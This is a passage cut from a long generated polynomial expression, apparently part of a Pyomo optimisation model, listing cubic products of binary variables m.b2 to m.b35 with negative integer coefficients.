m.b34 - 64*m.b10*m.b13*m.b35 - 32*m.b10*m.b13*m.b2 - 96*m.b10*m.b14*m.b15 - 96*m.b10*m.b14*m.b16
- 96*m.b10*m.b14*m.b17 - 64*m.b10*m.b14*m.b18 - 192*m.b10*m.b14*m.b19 - 416*m.b10*m.b14*m.b20 -
384*m.b10*m.b14*m.b21 - 352*m.b10*m.b14*m.b22 - 320*m.b10*m.b14*m.b23 - 576*m.b10*m.b14*m.b24 -
544*m.b10*m.b14*m.b25 - 512*m.b10*m.b14*m.b26 - 480*m.b10*m.b14*m.b27 - 448*m.b10*m.b14*m.b28 -
384*m.b10*m.b14*m.b29 - 320*m.b10*m.b14*m.b30 - 256*m.b10*m.b14*m.b31 - 192*m.b10*m.b14*m.b32 -
128*m.b10*m.b14*m.b33 - 96*m.b10*m.b14*m.b34 - 64*m.b10*m.b14*m.b35 - 32*m.b10*m.b14*m.b2 - 96*
m.b10*m.b15*m.b16 - 96*m.b10*m.b15*m.b17 - 96*m.b10*m.b15*m.b18 - 352*m.b10*m.b15*m.b19 - 416*
m.b10*m.b15*m.b20 - 416*m.b10*m.b15*m.b21 - 384*m.b10*m.b15*m.b22 - 352*m.b10*m.b15*m.b23 - 544*
m.b10*m.b15*m.b24 - 512*m.b10*m.b15*m.b25 - 480*m.b10*m.b15*m.b26 - 448*m.b10*m.b15*m.b27 - 416*
m.b10*m.b15*m.b28 - 352*m.b10*m.b15*m.b29 - 288*m.b10*m.b15*m.b30 - 224*m.b10*m.b15*m.b31 - 160*
m.b10*m.b15*m.b32 - 128*m.b10*m.b15*m.b33 - 96*m.b10*m.b15*m.b34 - 64*m.b10*m.b15*m.b35 - 32*
m.b10*m.b15*m.b2 - 96*m.b10*m.b16*m.b17 - 352*m.b10*m.b16*m.b18 - 352*m.b10*m.b16*m.b19 - 480*
m.b10*m.b16*m.b20 - 448*m.b10*m.b16*m.b21 - 384*m.b10*m.b16*m.b22 - 352*m.b10*m.b16*m.b23 - 544*
m.b10*m.b16*m.b24 - 480*m.b10*m.b16*m.b25 - 448*m.b10*m.b16*m.b26 - 416*m.b10*m.b16*m.b27 - 384*
m.b10*m.b16*m.b28 - 320*m.b10*m.b16*m.b29 - 256*m.b10*m.b16*m.b30 - 192*m.b10*m.b16*m.b31 - 160*
m.b10*m.b16*m.b32 - 128*m.b10*m.b16*m.b33 - 96*m.b10*m.b16*m.b34 - 64*m.b10*m.b16*m.b35 - 32*
m.b10*m.b16*m.b2 - 352*m.b10*m.b17*m.b18 - 352*m.b10*m.b17*m.b19 - 352*m.b10*m.b17*m.b20 - 480*
m.b10*m.b17*m.b21 - 416*m.b10*m.b17*m.b22 - 352*m.b10*m.b17*m.b23 - 256*m.b10*m.b17*m.b24 - 480*
m.b10*m.b17*m.b25 - 416*m.b10*m.b17*m.b26 - 384*m.b10*m.b17*m.b27 - 352*m.b10*m.b17*m.b28 - 288*
m.b10*m.b17*m.b29 - 224*m.b10*m.b17*m.b30 - 192*m.b10*m.b17*m.b31 - 160*m.b10*m.b17*m.b32 - 128*
m.b10*m.b17*m.b33 - 96*m.b10*m.b17*m.b34 - 64*m.b10*m.b17*m.b35 - 32*m.b10*m.b17*m.b2 - 352*m.b10
*m.b18*m.b19 - 352*m.b10*m.b18*m.b20 - 480*m.b10*m.b18*m.b21 - 416*m.b10*m.b18*m.b22 - 352*m.b10*
m.b18*m.b23 - 544*m.b10*m.b18*m.b24 - 480*m.b10*m.b18*m.b25 - 128*m.b10*m.b18*m.b26 - 352*m.b10*
m.b18*m.b27 - 320*m.b10*m.b18*m.b28 - 256*m.b10*m.b18*m.b29 - 224*m.b10*m.b18*m.b30 - 192*m.b10*
m.b18*m.b31 - 160*m.b10*m.b18*m.b32 - 128*m.b10*m.b18*m.b33 - 96*m.b10*m.b18*m.b34 - 64*m.b10*
m.b18*m.b35 - 32*m.b10*m.b18*m.b2 - 320*m.b10*m.b19*m.b20 - 288*m.b10*m.b19*m.b21 - 416*m.b10*
m.b19*m.b22 - 352*m.b10*m.b19*m.b23 - 544*m.b10*m.b19*m.b24 - 480*m.b10*m.b19*m.b25 - 416*m.b10*
m.b19*m.b26 - 352*m.b10*m.b19*m.b27 - 256*m.b10*m.b19*m.b29 - 224*m.b10*m.b19*m.b30 - 192*m.b10*
m.b19*m.b31 - 160*m.b10*m.b19*m.b32 - 128*m.b10*m.b19*m.b33 - 96*m.b10*m.b19*m.b34 - 64*m.b10*
m.b19*m.b35 - 32*m.b10*m.b19*m.b2 - 256*m.b10*m.b20*m.b21 - 416*m.b10*m.b20*m.b22 - 352*m.b10*
m.b20*m.b23 - 544*m.b10*m.b20*m.b24 - 480*m.b10*m.b20*m.b25 - 416*m.b10*m.b20*m.b26 - 352*m.b10*
m.b20*m.b27 - 320*m.b10*m.b20*m.b28 - 256*m.b10*m.b20*m.b29 - 192*m.b10*m.b20*m.b31 - 160*m.b10*
m.b20*m.b32 - 128*m.b10*m.b20*m.b33 - 96*m.b10*m.b20*m.b34 - 64*m.b10*m.b20*m.b35 - 32*m.b10*
m.b20*m.b2 - 192*m.b10*m.b21*m.b22 - 352*m.b10*m.b21*m.b23 - 544*m.b10*m.b21*m.b24 - 480*m.b10*
m.b21*m.b25 - 416*m.b10*m.b21*m.b26 - 384*m.b10*m.b21*m.b27 - 352*m.b10*m.b21*m.b28 - 288*m.b10*
m.b21*m.b29 - 224*m.b10*m.b21*m.b30 - 192*m.b10*m.b21*m.b31 - 128*m.b10*m.b21*m.b33 - 96*m.b10*
m.b21*m.b34 - 64*m.b10*m.b21*m.b35 - 32*m.b10*m.b21*m.b2 - 352*m.b10*m.b22*m.b23 - 544*m.b10*
m.b22*m.b24 - 480*m.b10*m.b22*m.b25 - 448*m.b10*m.b22*m.b26 - 416*m.b10*m.b22*m.b27 - 384*m.b10*
m.b22*m.b28 - 320*m.b10*m.b22*m.b29 - 256*m.b10*m.b22*m.b30 - 192*m.b10*m.b22*m.b31 - 160*m.b10*
m.b22*m.b32 - 128*m.b10*m.b22*m.b33 - 64*m.b10*m.b22*m.b35 - 32*m.b10*m.b22*m.b2 - 544*m.b10*
m.b23*m.b24 - 512*m.b10*m.b23*m.b25 - 480*m.b10*m.b23*m.b26 - 448*m.b10*m.b23*m.b27 - 416*m.b10*
m.b23*m.b28 - 352*m.b10*m.b23*m.b29 - 288*m.b10*m.b23*m.b30 - 224*m.b10*m.b23*m.b31 - 160*m.b10*
m.b23*m.b32 - 128*m.b10*m.b23*m.b33 - 96*m.b10*m.b23*m.b34 - 64*m.b10*m.b23*m.b35 - 544*m.b10*
m.b24*m.b25 - 512*m.b10*m.b24*m.b26 - 480*m.b10*m.b24*m.b27 - 448*m.b10*m.b24*m.b28 - 384*m.b10*
m.b24*m.b29 - 320*m.b10*m.b24*m.b30 - 256*m.b10*m.b24*m.b31 - 192*m.b10*m.b24*m.b32 - 128*m.b10*
m.b24*m.b33 - 96*m.b10*m.b24*m.b34 - 64*m.b10*m.b24*m.b35 - 32*m.b10*m.b24*m.b2 - 544*m.b10*m.b25
*m.b26 - 512*m.b10*m.b25*m.b27 - 480*m.b10*m.b25*m.b28 - 416*m.b10*m.b25*m.b29 - 352*m.b10*m.b25*
m.b30 - 288*m.b10*m.b25*m.b31 - 224*m.b10*m.b25*m.b32 - 160*m.b10*m.b25*m.b33 - 96*m.b10*m.b25*
m.b34 - 64*m.b10*m.b25*m.b35 - 32*m.b10*m.b25*m.b2 - 544*m.b10*m.b26*m.b27 - 512*m.b10*m.b26*
m.b28 - 448*m.b10*m.b26*m.b29 - 384*m.b10*m.b26*m.b30 - 320*m.b10*m.b26*m.b31 - 256*m.b10*m.b26*
m.b32 - 192*m.b10*m.b26*m.b33 - 128*m.b10*m.b26*m.b34 - 64*m.b10*m.b26*m.b35 - 32*m.b10*m.b26*
m.b2 - 544*m.b10*m.b27*m.b28 - 480*m.b10*m.b27*m.b29 - 416*m.b10*m.b27*m.b30 - 352*m.b10*m.b27*
m.b31 - 288*m.b10*m.b27*m.b32 - 224*m.b10*m.b27*m.b33 - 160*m.b10*m.b27*m.b34 - 96*m.b10*m.b27*
m.b35 - 32*m.b10*m.b27*m.b2 - 512*m.b10*m.b28*m.b29 - 448*m.b10*m.b28*m.b30 - 384*m.b10*m.b28*
m.b31 - 320*m.b10*m.b28*m.b32 - 256*m.b10*m.b28*m.b33 - 192*m.b10*m.b28*m.b34 - 128*m.b10*m.b28*
m.b35 - 64*m.b10*m.b28*m.b2 - 448*m.b10*m.b29*m.b30 - 384*m.b10*m.b29*m.b31 - 320*m.b10*m.b29*
m.b32 - 256*m.b10*m.b29*m.b33 - 192*m.b10*m.b29*m.b34 - 128*m.b10*m.b29*m.b35 - 64*m.b10*m.b29*
m.b2 - 384*m.b10*m.b30*m.b31 - 320*m.b10*m.b30*m.b32 - 256*m.b10*m.b30*m.b33 - 192*m.b10*m.b30*
m.b34 - 128*m.b10*m.b30*m.b35 - 64*m.b10*m.b30*m.b2 - 320*m.b10*m.b31*m.b32 - 256*m.b10*m.b31*
m.b33 - 192*m.b10*m.b31*m.b34 - 128*m.b10*m.b31*m.b35 - 64*m.b10*m.b31*m.b2 - 256*m.b10*m.b32*
m.b33 - 192*m.b10*m.b32*m.b34 - 128*m.b10*m.b32*m.b35 - 64*m.b10*m.b32*m.b2 - 192*m.b10*m.b33*
m.b34 - 128*m.b10*m.b33*m.b35 - 64*m.b10*m.b33*m.b2 - 128*m.b10*m.b34*m.b35 - 64*m.b10*m.b34*m.b2
- 64*m.b10*m.b35*m.b2 - 64*m.b11*m.b12*m.b13 - 96*m.b11*m.b12*m.b14 - 96*m.b11*m.b12*m.b15 - 96*
m.b11*m.b12*m.b16 - 96*m.b11*m.b12*m.b17 - 96*m.b11*m.b12*m.b18 - 160*m.b11*m.b12*m.b19 - 128*
m.b11*m.b12*m.b20 - 96*m.b11*m.b12*m.b21 - 64*m.b11*m.b12*m.b22 - 64*m.b11*m.b12*m.b23 - 352*
m.b11*m.b12*m.b24 - 640*m.b11*m.b12*m.b25 - 640*m.b11*m.b12*m.b26 - 608*m.b11*m.b12*m.b27 - 544*
m.b11*m.b12*m.b28 - 480*m.b11*m.b12*m.b29 - 416*m.b11*m.b12*m.b30 - 352*m.b11*m.b12*m.b31 - 288*
m.b11*m.b12*m.b32 - 224*m.b11*m.b12*m.b33 - 160*m.b11*m.b12*m.b34 - 96*m.b11*m.b12*m.b35 - 32*
m.b11*m.b12*m.b2 - 96*m.b11*m.b13*m.b14 - 64*m.b11*m.b13*m.b15 - 96*m.b11*m.b13*m.b16 - 96*m.b11*
m.b13*m.b17 - 96*m.b11*m.b13*m.b18 - 192*m.b11*m.b13*m.b19 - 160*m.b11*m.b13*m.b20 - 128*m.b11*
m.b13*m.b21 - 96*m.b11*m.b13*m.b22 - 352*m.b11*m.b13*m.b23 - 352*m.b11*m.b13*m.b24 - 640*m.b11*
m.b13*m.b25 - 608*m.b11*m.b13*m.b26 - 576*m.b11*m.b13*m.b27 - 512*m.b11*m.b13*m.b28 - 448*m.b11*
m.b13*m.b29 - 384*m.b11*m.b13*m.b30 - 320*m.b11*m.b13*m.b31 - 256*m.b11*m.b13*m.b32 - 192*m.b11*
m.b13*m.b33 - 128*m.b11*m.b13*m.b34 - 64*m.b11*m.b13*m.b35 - 32*m.b11*m.b13*m.b2 - 96*m.b11*m.b14
*m.b15 - 96*m.b11*m.b14*m.b16 - 64*m.b11*m.b14*m.b17 - 96*m.b11*m.b14*m.b18 - 96*m.b11*m.b14*
m.b19 - 192*m.b11*m.b14*m.b20 - 160*m.b11*m.b14*m.b21 - 416*m.b11*m.b14*m.b22 - 384*m.b11*m.b14*
m.b23 - 352*m.b11*m.b14*m.b24 - 608*m.b11*m.b14*m.b25 - 576*m.b11*m.b14*m.b26 - 544*m.b11*m.b14*
m.b27 - 480*m.b11*m.b14*m.b28 - 416*m.b11*m.b14*m.b29 - 352*m.b11*m.b14*m.b30 - 288*m.b11*m.b14*
m.b31 - 224*m.b11*m.b14*m.b32 - 160*m.b11*m.b14*m.b33 - 96*m.b11*m.b14*m.b34 - 64*m.b11*m.b14*
m.b35 - 32*m.b11*m.b14*m.b2 - 96*m.b11*m.b15*m.b16 - 96*m.b11*m.b15*m.b17 - 96*m.b11*m.b15*m.b18
- 64*m.b11*m.b15*m.b19 - 224*m.b11*m.b15*m.b20 - 480*m.b11*m.b15*m.b21 - 448*m.b11*m.b15*m.b22
- 416*m.b11*m.b15*m.b23 - 352*m.b11*m.b15*m.b24 - 576*m.b11*m.b15*m.b25 - 544*m.b11*m.b15*m.b26
- 512*m.b11*m.b15*m.b27 - 448*m.b11*m.b15*m.b28 - 384*m.b11*m.b15*m.b29 - 320*m.b11*m.b15*m.b30
- 256*m.b11*m.b15*m.b31 - 192*m.b11*m.b15*m.b32 - 128*m.b11*m.b15*m.b33 - 96*m.b11*m.b15*m.b34
- 64*m.b11*m.b15*m.b35 - 32*m.b11*m.b15*m.b2 - 96*m.b11*m.b16*m.b17 - 96*m.b11*m.b16*m.b18 - 96*
m.b11*m.b16*m.b19 - 384*m.b11*m.b16*m.b20 - 480*m.b11*m.b16*m.b21 - 480*m.b11*m.b16*m.b22 - 416*
m.b11*m.b16*m.b23 - 352*m.b11*m.b16*m.b24 - 576*m.b11*m.b16*m.b25 - 512*m.b11*m.b16*m.b26 - 480*
m.b11*m.b16*m.b27 - 416*m.b11*m.b16*m.b28 - 352*m.b11*m.b16*m.b29 - 288*m.b11*m.b16*m.b30 - 224*
m.b11*m.b16*m.b31 - 160*m.b11*m.b16*m.b32 - 128*m.b11*m.b16*m.b33 - 96*m.b11*m.b16*m.b34 - 64*
m.b11*m.b16*m.b35 - 32*m.b11*m.b16*m.b2 - 96*m.b11*m.b17*m.b18 - 384*m.b11*m.b17*m.b19 - 384*
m.b11*m.b17*m.b20 - 544*m.b11*m.b17*m.b21 - 480*m.b11*m.b17*m.b22 - 384*m.b11*m.b17*m.b23 - 352*
m.b11*m.b17*m.b24 - 576*m.b11*m.b17*m.b25 - 512*m.b11*m.b17*m.b26 - 448*m.b11*m.b17*m.b27 - 384*
m.b11*m.b17*m.b28 - 320*m.b11*m.b17*m.b29 - 256*m.b11*m.b17*m.b30 - 192*m.b11*m.b17*m.b31 - 160*
m.b11*m.b17*m.b32 - 128*m.b11*m.b17*m.b33 - 96*m.b11*m.b17*m.b34 - 64*m.b11*m.b17*m.b35 - 32*
m.b11*m.b17*m.b2 - 384*m.b11*m.b18*m.b19 - 384*m.b11*m.b18*m.b20 - 352*m.b11*m.b18*m.b21 - 480*
m.b11*m.b18*m.b22 - 416*m.b11*m.b18*m.b23 - 352*m.b11*m.b18*m.b24 - 256*m.b11*m.b18*m.b25 - 512*
m.b11*m.b18*m.b26 - 448*m.b11*m.b18*m.b27 - 352*m.b11*m.b18*m.b28 - 288*m.b11*m.b18*m.b29 - 224*
m.b11*m.b18*m.b30 - 192*m.b11*m.b18*m.b31 - 160*m.b11*m.b18*m.b32 - 128*m.b11*m.b18*m.b33 - 96*
m.b11*m.b18*m.b34 - 64*m.b11*m.b18*m.b35 - 32*m.b11*m.b18*m.b2 - 352*m.b11*m.b19*m.b20 - 320*
m.b11*m.b19*m.b21 - 480*m.b11*m.b19*m.b22 - 416*m.b11*m.b19*m.b23 - 352*m.b11*m.b19*m.b24 - 576*
m.b11*m.b19*m.b25 - 512*m.b11*m.b19*m.b26 - 128*m.b11*m.b19*m.b27 - 352*m.b11*m.b19*m.b28 - 256*
m.b11*m.b19*m.b29 - 224*m.b11*m.b19*m.b30 - 192*m.b11*m.b19*m.b31 - 160*m.b11*m.b19*m.b32 - 128*
m.b11*m.b19*m.b33 - 96*m.b11*m.b19*m.b34 - 64*m.b11*m.b19*m.b35 - 32*m.b11*m.b19*m.b2 - 288*m.b11
*m.b20*m.b21 - 256*m.b11*m.b20*m.b22 - 416*m.b11*m.b20*m.b23 - 352*m.b11*m.b20*m.b24 - 576*m.b11*
m.b20*m.b25 - 512*m.b11*m.b20*m.b26 - 448*m.b11*m.b20*m.b27 - 352*m.b11*m.b20*m.b28 - 32*m.b11*
m.b20*m.b29 - 224*m.b11*m.b20*m.b30 - 192*m.b11*m.b20*m.b31 - 160*m.b11*m.b20*m.b32 - 128*m.b11*
m.b20*m.b33 - 96*m.b11*m.b20*m.b34 - 64*m.b11*m.b20*m.b35 - 32*m.b11*m.b20*m.b2 - 224*m.b11*m.b21
*m.b22 - 416*m.b11*m.b21*m.b23 - 352*m.b11*m.b21*m.b24 - 576*m.b11*m.b21*m.b25 - 512*m.b11*m.b21*
m.b26 - 448*m.b11*m.b21*m.b27 - 384*m.b11*m.b21*m.b28 - 320*m.b11*m.b21*m.b29 - 256*m.b11*m.b21*
m.b30 - 160*m.b11*m.b21*m.b32 - 128*m.b11*m.b21*m.b33 - 96*m.b11*m.b21*m.b34 - 64*m.b11*m.b21*
m.b35 - 32*m.b11*m.b21*m.b2 - 160*m.b11*m.b22*m.b23 - 352*m.b11*m.b22*m.b24 - 576*m.b11*m.b22*
m.b25 - 512*m.b11*m.b22*m.b26 - 480*m.b11*m.b22*m.b27 - 416*m.b11*m.b22*m.b28 - 352*m.b11*m.b22*
m.b29 - 288*m.b11*m.b22*m.b30 - 224*m.b11*m.b22*m.b31 - 160*m.b11*m.b22*m.b32 - 96*m.b11*m.b22*
m.b34 - 64*m.b11*m.b22*m.b35 - 32*m.b11*m.b22*m.b2 - 352*m.b11*m.b23*m.b24 - 576*m.b11*m.b23*
m.b25 - 544*m.b11*m.b23*m.b26 - 512*m.b11*m.b23*m.b27 - 448*m.b11*m.b23*m.b28 - 384*m.b11*m.b23*
m.b29 - 320*m.b11*m.b23*m.b30 - 256*m.b11*m.b23*m.b31 - 192*m.b11*m.b23*m.b32 - 128*m.b11*m.b23*
m.b33 - 96*m.b11*m.b23*m.b34 - 32*m.b11*m.b23*m.b2 - 608*m.b11*m.b24*m.b25 - 576*m.b11*m.b24*
m.b26 - 544*m.b11*m.b24*m.b27 - 480*m.b11*m.b24*m.b28 - 416*m.b11*m.b24*m.b29 - 352*m.b11*m.b24*
m.b30 - 288*m.b11*m.b24*m.b31 - 224*m.b11*m.b24*m.b32 - 160*m.b11*m.b24*m.b33 - 96*m.b11*m.b24*
m.b34 - 64*m.b11*m.b24*m.b35 - 32*m.b11*m.b24*m.b2 - 608*m.b11*m.b25*m.b26 - 576*m.b11*m.b25*
m.b27 - 512*m.b11*m.b25*m.b28 - 448*m.b11*m.b25*m.b29 - 384*m.b11*m.b25*m.b30 - 320*m.b11*m.b25*
m.b31 - 256*m.b11*m.b25*m.b32 - 192*m.b11*m.b25*m.b33 - 128*m.b11*m.b25*m.b34 - 64*m.b11*m.b25*
m.b35 - 32*m.b11*m.b25*m.b2 - 608*m.b11*m.b26*m.b27 - 544*m.b11*m.b26*m.b28 - 480*m.b11*m.b26*
m.b29 - 416*m.b11*m.b26*m.b30 - 352*m.b11*m.b26*m.b31 - 288*m.b11*m.b26*m.b32 - 224*m.b11*m.b26*
m.b33 - 160*m.b11*m.b26*m.b34 - 96*m.b11*m.b26*m.b35 - 32*m.b11*m.b26*m.b2 - 576*m.b11*m.b27*
m.b28 - 512*m.b11*m.b27*m.b29 - 448*m.b11*m.b27*m.b30 - 384*m.b11*m.b27*m.b31 - 320*m.b11*m.b27*
m.b32 - 256*m.b11*m.b27*m.b33 - 192*m.b11*m.b27*m.b34 - 128*m.b11*m.b27*m.b35 - 64*m.b11*m.b27*
m.b2 - 512*m.b11*m.b28*m.b29 - 448*m.b11*m.b28*m.b30 - 384*m.b11*m.b28*m.b31 - 320*m.b11*m.b28*
m.b32 - 256*m.b11*m.b28*m.b33 - 192*m.b11*m.b28*m.b34 - 128*m.b11*m.b28*m.b35 - 64*m.b11*m.b28*
m.b2 - 448*m.b11*m.b29*m.b30 - 384*m.b11*m.b29*m.b31 - 320*m.b11*m.b29*m.b32 - 256*m.b11*m.b29*
m.b33 - 192*m.b11*m.b29*m.b34 - 128*m.b11*m.b29*m.b35 - 64*m.b11*m.b29*m.b2 - 384*m.b11*m.b30*
m.b31 - 320*m.b11*m.b30*m.b32 - 256*m.b11*m.b30*m.b33 - 192*m.b11*m.b30*m.b34 - 128*m.b11*m.b30*
m.b35 - 64*m.b11*m.b30*m.b2 - 320*m.b11*m.b31*m.b32 - 256*m.b11*m.b31*m.b33 - 192*m.b11*m.b31*
m.b34 - 128*m.b11*m.b31*m.b35 - 64*m.b11*m.b31*m.b2 - 256*m.b11*m.b32*m.b33 - 192*m.b11*m.b32*
m.b34 - 128*m.b11*m.b32*m.b35 - 64*m.b11*m.b32*m.b2 - 192*m.b11*m.b33*m.b34 - 128*m.b11*m.b33*
m.b35 - 64*m.b11*m.b33*m.b2 - 128*m.b11*m.b34*m.b35 - 64*m.b11*m.b34*m.b2 - 64*m.b11*m.b35*m.b2
- 64*m.b12*m.b13*m.b14 - 96*m.b12*m.b13*m.b15 - 96*m.b12*m.b13*m.b16 - 96*m.b12*m.b13*m.b17 - 96
*m.b12*m.b13*m.b18 - 96*m.b12*m.b13*m.b19 - 192*m.b12*m.b13*m.b20 - 160*m.b12*m.b13*m.b21 - 128*
m.b12*m.b13*m.b22 - 96*m.b12*m.b13*m.b23 - 64*m.b12*m.b13*m.b24 - 384*m.b12*m.b13*m.b25 - 672*
m.b12*m.b13*m.b26 - 608*m.b12*m.b13*m.b27 - 544*m.b12*m.b13*m.b28 - 480*m.b12*m.b13*m.b29 - 416*
m.b12*m.b13*m.b30 - 352*m.b12*m.b13*m.b31 - 288*m.b12*m.b13*m.b32 - 224*m.b12*m.b13*m.b33 - 160*
m.b12*m.b13*m.b34 - 96*m.b12*m.b13*m.b35 - 32*m.b12*m.b13*m.b2 - 96*m.b12*m.b14*m.b15 - 64*m.b12*
m.b14*m.b16 - 96*m.b12*m.b14*m.b17 - 96*m.b12*m.b14*m.b18 - 96*m.b12*m.b14*m.b19 - 224*m.b12*
m.b14*m.b20 - 192*m.b12*m.b14*m.b21 - 160*m.b12*m.b14*m.b22 - 128*m.b12*m.b14*m.b23 - 416*m.b12*
m.b14*m.b24 - 352*m.b12*m.b14*m.b25 - 640*m.b12*m.b14*m.b26 - 576*m.b12*m.b14*m.b27 - 512*m.b12*
m.b14*m.b28 - 448*m.b12*m.b14*m.b29 - 384*m.b12*m.b14*m.b30 - 320*m.b12*m.b14*m.b31 - 256*m.b12*
m.b14*m.b32 - 192*m.b12*m.b14*m.b33 - 128*m.b12*m.b14*m.b34 - 64*m.b12*m.b14*m.b35 - 32*m.b12*
m.b14*m.b2 - 96*m.b12*m.b15*m.b16 - 96*m.b12*m.b15*m.b17 - 64*m.b12*m.b15*m.b18 - 96*m.b12*m.b15*
m.b19 - 96*m.b12*m.b15*m.b20 - 224*m.b12*m.b15*m.b21 - 192*m.b12*m.b15*m.b22 - 480*m.b12*m.b15*
m.b23 - 416*m.b12*m.b15*m.b24 - 352*m.b12*m.b15*m.b25 - 608*m.b12*m.b15*m.b26 - 544*m.b12*m.b15*
m.b27 - 480*m.b12*m.b15*m.b28 - 416*m.b12*m.b15*m.b29 - 352*m.b12*m.b15*m.b30 - 288*m.b12*m.b15*
m.b31 - 224*m.b12*m.b15*m.b32 - 160*m.b12*m.b15*m.b33 - 96*m.b12*m.b15*m.b34 - 64*m.b12*m.b15*
m.b35 - 32*m.b12*m.b15*m.b2 - 96*m.b12*m.b16*m.b17 - 96*m.b12*m.b16*m.b18 - 96*m.b12*m.b16*m.b19
- 64*m.b12*m.b16*m.b20 - 256*m.b12*m.b16*m.b21 - 544*m.b12*m.b16*m.b22 - 480*m.b12*m.b16*m.b23
- 416*m.b12*m.b16*m.b24 - 352*m.b12*m.b16*m.b25 - 608*m.b12*m.b16*m.b26 - 512*m.b12*m.b16*m.b27
- 448*m.b12*m.b16*m.b28 - 384*m.b12*m.b16*m.b29 - 320*m.b12*m.b16*m.b30 - 256*m.b12*m.b16*m.b31
- 192*m.b12*m.b16*m.b32 - 128*m.b12*m.b16*m.b33 - 96*m.b12*m.b16*m.b34 - 64*m.b12*m.b16*m.b35 -
32*m.b12*m.b16*m.b2 - 96*m.b12*m.b17*m.b18 - 96*m.b12*m.b17*m.b19 - 96*m.b12*m.b17*m.b20 - 416*
m.b12*m.b17*m.b21 - 512*m.b12*m.b17*m.b22 - 480*m.b12*m.b17*m.b23 - 416*m.b12*m.b17*m.b24 - 352*
m.b12*m.b17*m.b25 - 608*m.b12*m.b17*m.b26 - 512*m.b12*m.b17*m.b27 - 416*m.b12*m.b17*m.b28 - 352*
m.b12*m.b17*m.b29 - 288*m.b12*m.b17*m.b30 - 224*m.b12*m.b17*m.b31 - 160*m.b12*m.b17*m.b32 - 128*
m.b12*m.b17*m.b33 - 96*m.b12*m.b17*m.b34 - 64*m.b12*m.b17*m.b35 - 32*m.b12*m.b17*m.b2 - 96*m.b12*
m.b18*m.b19 - 416*m.b12*m.b18*m.b20 - 384*m.b12*m.b18*m.b21 - 544*m.b12*m.b18*m.b22 - 480*m.b12*
m.b18*m.b23 - 384*m.b12*m.b18*m.b24 - 352*m.b12*m.b18*m.b25 - 608*m.b12*m.b18*m.b26 - 512*m.b12*
m.b18*m.b27 - 416*m.b12*m.b18*m.b28 - 320*m.b12*m.b18*m.b29 - 256*m.b12*m.b18*m.b30 - 192*m.b12*
m.b18*m.b31 - 160*m.b12*m.b18*m.b32 - 128*m.b12*m.b18*m.b33 - 96*m.b12*m.b18*m.b34 - 64*m.b12*
m.b18*m.b35 - 32*m.b12*m.b18*m.b2 - 384*m.b12*m.b19*m.b20 - 352*m.b12*m.b19*m.b21 - 320*m.b12*
m.b19*m.b22 - 480*m.b12*m.b19*m.b23 - 416*m.b12*m.b19*m.b24 - 352*m.b12*m.b19*m.b25 - 256*m.b12*
m.b19*m.b26 - 512*m.b12*m.b19*m.b27 - 416*m.b12*m.b19*m.b28 - 320*m.b12*m.b19*m.b29 - 224*m.b12*
m.b19*m.b30 - 192*m.b12*m.b19*m.b31 - 160*m.b12*m.b19*m.b32 - 128*m.b12*m.b19*m.b33 - 96*m.b12*
m.b19*m.b34 - 64*m.b12*m.b19*m.b35 - 32*m.b12*m.b19*m.b2 - 320*m.b12*m.b20*m.b21 - 288*m.b12*
m.b20*m.b22 - 480*m.b12*m.b20*m.b23 - 416*m.b12*m.b20*m.b24 - 352*m.b12*m.b20*m.b25 - 608*m.b12*
m.b20*m.b26 - 512*m.b12*m.b20*m.b27 - 128*m.b12*m.b20*m.b28 - 320*m.b12*m.b20*m.b29 - 256*m.b12*
m.b20*m.b30 - 192*m.b12*m.b20*m.b31 - 160*m.b12*m.b20*m.b32 - 128*m.b12*m.b20*m.b33 - 96*m.b12*
m.b20*m.b34 - 64*m.b12*m.b20*m.b35 - 32*m.b12*m.b20*m.b2 - 256*m.b12*m.b21*m.b22 - 224*m.b12*
m.b21*m.b23 - 416*m.b12*m.b21*m.b24 - 352*m.b12*m.b21*m.b25 - 608*m.b12*m.b21*m.b26 - 512*m.b12*
m.b21*m.b27 - 416*m.b12*m.b21*m.b28 - 352*m.b12*m.b21*m.b29 - 64*m.b12*m.b21*m.b30 - 224*m.b12*
m.b21*m.b31 - 160*m.b12*m.b21*m.b32 - 128*m.b12*m.b21*m.b33 - 96*m.b12*m.b21*m.b34 - 64*m.b12*
m.b21*m.b35 - 32*m.b12*m.b21*m.b2 - 192*m.b12*m.b22*m.b23 - 416*m.b12*m.b22*m.b24 - 352*m.b12*
m.b22*m.b25 - 608*m.b12*m.b22*m.b26 - 512*m.b12*m.b22*m.b27 - 448*m.b12*m.b22*m.b28 - 384*m.b12*
m.b22*m.b29 - 320*m.b12*m.b22*m.b30 - 256*m.b12*m.b22*m.b31 - 32*m.b12*m.b22*m.b32 - 128*m.b12*
m.b22*m.b33 - 96*m.b12*m.b22*m.b34 - 64*m.b12*m.b22*m.b35 - 32*m.b12*m.b22*m.b2 - 128*m.b12*m.b23
*m.b24 - 352*m.b12*m.b23*m.b25 - 608*m.b12*m.b23*m.b26 - 544*m.b12*m.b23*m.b27 - 480*m.b12*m.b23*
m.b28 - 416*m.b12*m.b23*m.b29 - 352*m.b12*m.b23*m.b30 - 288*m.b12*m.b23*m.b31 - 224*m.b12*m.b23*
m.b32 - 160*m.b12*m.b23*m.b33 - 64*m.b12*m.b23*m.b35 - 32*m.b12*m.b23*m.b2 - 352*m.b12*m.b24*
m.b25 - 640*m.b12*m.b24*m.b26 - 576*m.b12*m.b24*m.b27 - 512*m.b12*m.b24*m.b28 - 448*m.b12*m.b24*
m.b29 - 384*m.b12*m.b24*m.b30 - 320*m.b12*m.b24*m.b31 - 256*m.b12*m.b24*m.b32 - 192*m.b12*m.b24*
m.b33 - 128*m.b12*m.b24*m.b34 - 64*m.b12*m.b24*m.b35 - 672*m.b12*m.b25*m.b26 - 608*m.b12*m.b25*
m.b27 - 544*m.b12*m.b25*m.b28 - 480*m.b12*m.b25*m.b29 - 416*m.b12*m.b25*m.b30 - 352*m.b12*m.b25*
m.b31 - 288*m.b12*m.b25*m.b32 - 224*m.b12*m.b25*m.b33 - 160*m.b12*m.b25*m.b34 - 96*m.b12*m.b25*
m.b35 - 32*m.b12*m.b25*m.b2 - 640*m.b12*m.b26*m.b27 - 576*m.b12*m.b26*m.b28 - 512*m.b12*m.b26*
m.b29 - 448*m.b12*m.b26*m.b30 - 384*m.b12*m.b26*m.b31 - 320*m.b12*m.b26*m.b32 - 256*m.b12*m.b26*
m.b33 - 192*m.b12*m.b26*m.b34 - 128*m.b12*m.b26*m.b35 - 64*m.b12*m.b26*m.b2 - 576*m.b12*m.b27*
